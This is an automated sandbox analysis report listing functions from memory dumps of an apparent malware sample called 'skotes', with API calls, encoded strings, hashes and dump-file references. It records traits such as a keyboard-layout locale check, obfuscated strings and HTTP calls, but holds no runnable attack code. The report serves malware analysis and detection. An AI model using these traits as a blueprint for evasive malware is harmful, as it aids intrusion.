Associated: 00000006.00000002.2948645288.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2952614871.000000000057A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953900394.0000000000716000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954117124.0000000000718000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_260000_skotes.jbxd

Yara matches

Similarity

API ID: InternetOpen$Cnd_destroy_in_situCnd_unregister_at_thread_exitConnectHttpMtx_destroy_in_situRequestSleep
String ID: 2I0$ 3I3eB==$ GE0$ jS=$246122658369$8WI0$9250$93E0$9HQ0$9c9aa5$Fw==$KCWUOl==$MGE+$MGI+$VXA0$VXQ0$Vmc0$WGS0$`$aWW0$anE0$stoi argument out of range
API String ID: 3516211189-2454854575
Opcode ID: 34be402d85b54540e10530424e0c0718080e34b020085f43765159af4381098d
Instruction ID: dfa44a68fc7ef000975f5dd1d31c16f5bd092ad12d65b1f3452455245b2a1a58
Opcode Fuzzy Hash: 34be402d85b54540e10530424e0c0718080e34b020085f43765159af4381098d
Instruction Fuzzy Hash: DB231170A202548BEB19DB28CD8979DBB7AAF81304F54C2DCE04DA7282DB755FA4CF51

Function 00272F10 Relevance: 21.9, APIs: 1, Strings: 11, Instructions: 910
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

WX f, xrefs: 00273BDE
Hykl, xrefs: 0027387F
5120, xrefs: 00273BAF, 00273C9A
stoi argument out of range, xrefs: 00274359
invalid stoi argument, xrefs: 0027434A
WTw=, xrefs: 00272F5E
Fw==, xrefs: 0027378E
246122658369, xrefs: 00272F78
WGpm, xrefs: 00273CC9
", xrefs: 00273F89
V2Te, xrefs: 00273EB0

Memory Dump Source

Source File: 00000006.00000002.2947211621.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000006.00000002.2946842383.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2947211621.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948339018.00000000002C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.0000000000457000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.0000000000534000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.0000000000563000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2952614871.000000000057A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953900394.0000000000716000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954117124.0000000000718000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_260000_skotes.jbxd

Yara matches

Similarity

API ID: Cnd_destroy_in_situCnd_unregister_at_thread_exitMtx_destroy_in_situ
String ID: "$246122658369$5120$Fw==$Hykl$V2Te$WGpm$WTw=$WX f$invalid stoi argument$stoi argument out of range
API String ID: 4078500453-1402436090
Opcode ID: a9f7f0ed56e26adc2ddca802784c8ebfd65d995ad8422d4b64dc4e4c05e65656
Instruction ID: 2e778e8975ca375cf4a8ff7d67bf384850d975f975ff563f8ec3fdc2ab79b950
Opcode Fuzzy Hash: a9f7f0ed56e26adc2ddca802784c8ebfd65d995ad8422d4b64dc4e4c05e65656
Instruction Fuzzy Hash: 6E721871A20248DBEF18EF78CC4A79DBB75AF45300F54859CE409A7282D7359BA4CF92

Function 00265EE0 Relevance: 14.3, APIs: 3, Strings: 5, Instructions: 340
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNEL32(80000001,80000001,00000000,000F003F,?), ref: 00265F13

Strings

00000422, xrefs: 002660C9
Keyboard Layout\Preload, xrefs: 00266054
00000423, xrefs: 002660FA
00000419, xrefs: 00266098
0000043f, xrefs: 0026612B

Memory Dump Source

Source File: 00000006.00000002.2947211621.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000006.00000002.2946842383.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2947211621.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948339018.00000000002C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.0000000000457000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.0000000000534000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.0000000000563000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2952614871.000000000057A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953900394.0000000000716000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954117124.0000000000718000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_260000_skotes.jbxd

Yara matches

Similarity

API ID: Open
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 71445658-3963862150
Opcode ID: 8c4497d8c2f8b86562719b10341fe255c60968131c37f746e92288757faf9ba3
Instruction ID: deaad37b1abbdabeb4278bb8134a1e02e5cae92327252e12ebecd6dc99261c07
Opcode Fuzzy Hash: 8c4497d8c2f8b86562719b10341fe255c60968131c37f746e92288757faf9ba3
Instruction Fuzzy Hash: 65D1DD719102189BEB24DF24CC89BDEB7B9AF05300F5042D9F509E7281DB74ABE88F94

Function 00267D30 Relevance: 12.7, APIs: 1, Strings: 6, Instructions: 426
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32(?), ref: 00267ED3

Strings

JjssPV==, xrefs: 002681E2
O, xrefs: 00267F75, 0026805A, 00268102, 002681AA, 00268252
JjssOl==, xrefs: 0026813A
JjsrPl==, xrefs: 0026828A
8, xrefs: 00267DEA
JjsrQV==, xrefs: 00268092

Memory Dump Source

Source File: 00000006.00000002.2947211621.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000006.00000002.2946842383.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2947211621.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948339018.00000000002C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.0000000000457000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.0000000000534000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.0000000000563000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2952614871.000000000057A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953900394.0000000000716000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954117124.0000000000718000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_260000_skotes.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID: 8$JjsrPl==$JjsrQV==$JjssOl==$JjssPV==$O
API String ID: 1721193555-3462429904
Opcode ID: 7c55bc1cc7467063d2e06457571985aebbb5302e993a1a51567720c065505d05
Instruction ID: bccc6e83fb53e01658d94d4bff77ece2257236ac0209da3c605e2cd1e121dd92
Opcode Fuzzy Hash: 7c55bc1cc7467063d2e06457571985aebbb5302e993a1a51567720c065505d05
Instruction Fuzzy Hash: 4DE11470E202549BDB24BB28DC0B79D7A61AB46724F9446DCE4196B3C2DF354EF48BC2

Function 00268380 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 159
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32(?), ref: 00268524

Strings

8, xrefs: 0026843F

Memory Dump Source

Source File: 00000006.00000002.2947211621.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000006.00000002.2946842383.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2947211621.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948339018.00000000002C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.0000000000457000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.0000000000534000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.0000000000563000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2952614871.000000000057A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953900394.0000000000716000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954117124.0000000000718000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_260000_skotes.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID: 8
API String ID: 1721193555-3897458245
Opcode ID: 2c0e96e642be30557298341eadbe78402bee2849e27bedbf4d2897b854f28e71
Instruction ID: 2614607c226ec498a0dd618ed2c9f89e3e07704f630d2f4f959d7d4037ffae24
Opcode Fuzzy Hash: 2c0e96e642be30557298341eadbe78402bee2849e27bedbf4d2897b854f28e71
Instruction Fuzzy Hash: F5513770D202589BEB24EB68CC85BDDB778DB45314F9043A9E409A7281EF749AE48F91

Function 00276C70 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 40
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32 ref: 00276CF5

Strings

`, xrefs: 00276CCC

Memory Dump Source

Source File: 00000006.00000002.2947211621.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000006.00000002.2946842383.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2947211621.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948339018.00000000002C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.0000000000457000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.0000000000534000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.0000000000563000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2952614871.000000000057A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953900394.0000000000716000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954117124.0000000000718000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_260000_skotes.jbxd

Yara matches

Similarity

API ID: Sleep
String ID: `
API String ID: 3472027048-4168407445
Opcode ID: cb4d05d4db2dd830d6c3f4a189eccc002132146fc55d82365393ec750a80f2d1
Instruction ID: 1c31802223994429fa333510a37850f16d5e712814279302cc0a5178966e9dc6
Opcode Fuzzy Hash: cb4d05d4db2dd830d6c3f4a189eccc002132146fc55d82365393ec750a80f2d1
Instruction Fuzzy Hash: FAF0F471A20610EBC711BB789C07B1EBB74EB07B60F80475DE825672D1EB701A248BD3

Function 0029B04B Relevance: 1.5, APIs: 1, Instructions: 33
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000,9D01E888,?,?,0027D3FC,9D01E888,?,00277A8B,?,?,?,?,?,?,00267465,?), ref: 0029B07E

Memory Dump Source

Source File: 00000006.00000002.2947211621.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000006.00000002.2946842383.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2947211621.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948339018.00000000002C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.0000000000457000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.0000000000534000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.0000000000563000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2952614871.000000000057A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953900394.0000000000716000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954117124.0000000000718000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_260000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: f74722d0a36a625458fe59ebd840fc27f52b9acb1462c574a14b8888c1648ef7
Instruction ID: 14237a72ca6e0c76bb1988e2b26a05055e3354849a5f141d6bfc3d5b22972acd
Opcode Fuzzy Hash: f74722d0a36a625458fe59ebd840fc27f52b9acb1462c574a14b8888c1648ef7
Instruction Fuzzy Hash: F8E06D3517122796EE323A75AE89B6FA648DB423B0F151221AE6496190EB61DC2085E1

Function 04C4034B Relevance: .1, Instructions: 86COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2978398742.0000000004C40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04C40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4c40000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 152a757794d36a6cee1262974955e8cccb6d0201ffa67ad914f6ed8edd753c31
Instruction ID: fb27adccbffe9adea0f52932cf58d6e811918677e1dc64e416de3eb733ecf076
Opcode Fuzzy Hash: 152a757794d36a6cee1262974955e8cccb6d0201ffa67ad914f6ed8edd753c31
Instruction Fuzzy Hash: 8401E9FB28C110BE7101C1832B649BB6B6EE5D6730335C827F606C6502F2949E497131

Function 04C40370 Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2978398742.0000000004C40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04C40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4c40000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 43e1b7fa8ce7712f2c7aa005b6616ea9fb3395befc5511d0d80b9dc1a476cc46
Instruction ID: 7c9d5679cfe6654b2bcff59813cb7e5237d2afa20a944c23562bee5321fc463e
Opcode Fuzzy Hash: 43e1b7fa8ce7712f2c7aa005b6616ea9fb3395befc5511d0d80b9dc1a476cc46
Instruction Fuzzy Hash: 9811A1F724C210AFB101C6832B549BB2B6FE5D6730334882AF506CA103F5A5AE0A6231

Function 04C40354 Relevance: .1, Instructions: 82COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2978398742.0000000004C40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04C40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4c40000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 42fedb7845b10a977bd5ebf6664e10952f9066172de82712d40ee124a73bb25e
Instruction ID: 1d00696b9efab2c3406cbc27674ff00e23341144bdd8a5b28a9a30ebc2ed4d27
Opcode Fuzzy Hash: 42fedb7845b10a977bd5ebf6664e10952f9066172de82712d40ee124a73bb25e
Instruction Fuzzy Hash: 6201E5FB28C110BE7101C1832B64ABB6B6EE5C6730335C836F606C6502F6989E4A7132

Function 04C4039C Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2978398742.0000000004C40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04C40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4c40000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 597d8c186f57d62258083fb551a58167a2dcd1738992e754e69523e1b4e7d0d7
Instruction ID: ac41e97c59eabdb75a10f5158f18c2af6ed8f9fe8c6bcd29cf254cff261395c7
Opcode Fuzzy Hash: 597d8c186f57d62258083fb551a58167a2dcd1738992e754e69523e1b4e7d0d7
Instruction Fuzzy Hash: 9601ADF724C2147F3101D1932B64ABA6B6EE9D6630331D436FA02DB503F1958D096131

Function 04C4038F Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2978398742.0000000004C40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04C40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4c40000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 953367aa58317a64fc1fd16938bd2b83c259a760557bd3d4870ca23b4d484816
Instruction ID: 06f26cdd9d55e015b79609b96c1088fbc0ba734aa2f31d809c40d7b70d86a67a
Opcode Fuzzy Hash: 953367aa58317a64fc1fd16938bd2b83c259a760557bd3d4870ca23b4d484816
Instruction Fuzzy Hash: 03F049F728D214BF7141D2836B949BB7B6EE6D6730335C826F606C6103F6A49E4A7132

Function 04C40424 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2978398742.0000000004C40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04C40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4c40000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f9d01ab241f906fc3f44468f4d4114cfd1335f10f749a3562a4f3b2d5b07deec
Instruction ID: beabb01fddecf44f9bacb3835250cffdd5600efc16752f72794e9ad5d01d56b4
Opcode Fuzzy Hash: f9d01ab241f906fc3f44468f4d4114cfd1335f10f749a3562a4f3b2d5b07deec
Instruction Fuzzy Hash: BEE09AF72CC024AD7580E5E33B18AFA2B6BC1C6330375A827F246C1403E1989A8EB135

Non-executed Functions

Function 002A31A8 Relevance: 10.1, APIs: 1, Strings: 4, Instructions: 1340COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 002A3323

Strings

1#INF, xrefs: 002A44DE
1#SNAN, xrefs: 002A44BA
1#QNAN, xrefs: 002A44C1
1#IND, xrefs: 002A44B3

Memory Dump Source

Source File: 00000006.00000002.2947211621.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000006.00000002.2946842383.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2947211621.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948339018.00000000002C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.0000000000457000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.0000000000534000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.0000000000563000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2952614871.000000000057A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953900394.0000000000716000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954117124.0000000000718000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_260000_skotes.jbxd

Yara matches

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: b9e1f93a3007a599aba1a7733031df64426213a364dfa7218b79539bd69effd7
Instruction ID: 7336970affe8cec217e4855def39a61cba8a9cbe8e4e1fbf31b013def60d069d
Opcode Fuzzy Hash: b9e1f93a3007a599aba1a7733031df64426213a364dfa7218b79539bd69effd7
Instruction Fuzzy Hash: A6C26E71E246298FCF25DE28DD407E9B3B5EB89315F1441EAE80DE7240EB74AE958F40

Function 002A2D10 Relevance: 3.4, APIs: 2, Instructions: 450COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2947211621.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000006.00000002.2946842383.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2947211621.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948339018.00000000002C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.0000000000457000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.0000000000534000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.0000000000563000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2952614871.000000000057A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953900394.0000000000716000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954117124.0000000000718000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_260000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4febeba0e6df1972b290d54c079ebb9eef800fd61dd105ca4b93d43a1305ea1a
Instruction ID: 5e2bcda7e731ea13e4ad954de4817be3e5515eca283a9d1e10057a9d9b776e03
Opcode Fuzzy Hash: 4febeba0e6df1972b290d54c079ebb9eef800fd61dd105ca4b93d43a1305ea1a
Instruction Fuzzy Hash: 4AF15E71E102199FDF14CFA8C9806ADFBB1FF49314F258269E819AB344DB31AE55CB90

Function 0027CBEA Relevance: 1.5, APIs: 1, Instructions: 16timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimePreciseAsFileTime.KERNEL32(?,0027CF52,?,?,?,?,0027CF87,?,?,?,?,?,?,0027C4FD,?,00000001), ref: 0027CC03

Memory Dump Source

Source File: 00000006.00000002.2947211621.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000006.00000002.2946842383.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2947211621.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948339018.00000000002C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.0000000000457000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.0000000000534000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.0000000000563000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2952614871.000000000057A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953900394.0000000000716000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954117124.0000000000718000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_260000_skotes.jbxd

Yara matches

Similarity

API ID: Time$FilePreciseSystem
String ID:
API String ID: 1802150274-0
Opcode ID: 3fc57c5b140aaa33ff79d90ca3f64a84aeb22b3001893d417b6d06012bf2895d
Instruction ID: 084a65f2d8a338e268bbc03032ee6e4a1131c34d99cf78c7dc8691b33626976d
Opcode Fuzzy Hash: 3fc57c5b140aaa33ff79d90ca3f64a84aeb22b3001893d417b6d06012bf2895d
Instruction Fuzzy Hash: 64D0223A512038A38A133BA4FC088AEBB4C8F00B24300411AEE0C17120CAE0BCD05BE0

Function 00297F36 Relevance: 1.5, Strings: 1, Instructions: 216COMMON

Download Yara Rule

Strings

0, xrefs: 002980B2

Memory Dump Source

Source File: 00000006.00000002.2947211621.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000006.00000002.2946842383.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2947211621.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948339018.00000000002C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.0000000000457000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.0000000000534000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.0000000000563000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2952614871.000000000057A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953900394.0000000000716000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954117124.0000000000718000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_260000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 34b90d6f816b0148f172a566a29f4731fc4dbb34a2dc1360e8ce98d5d1eead5a
Instruction ID: 9e56a130c985e70b48544b542b44502ee90c73bfddbaf34d4044d8ec7db76d7e
Opcode Fuzzy Hash: 34b90d6f816b0148f172a566a29f4731fc4dbb34a2dc1360e8ce98d5d1eead5a
Instruction Fuzzy Hash: 0851AC3063864B5ADF384E2888957BE679AAF13300F1C051DE487F7682CEA2DD7D8756

Function 00264DE0 Relevance: .7, Instructions: 701COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2947211621.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000006.00000002.2946842383.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2947211621.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948339018.00000000002C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.0000000000457000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.0000000000534000.00000040.00000001.01000000.00000007.sdmpDownload File
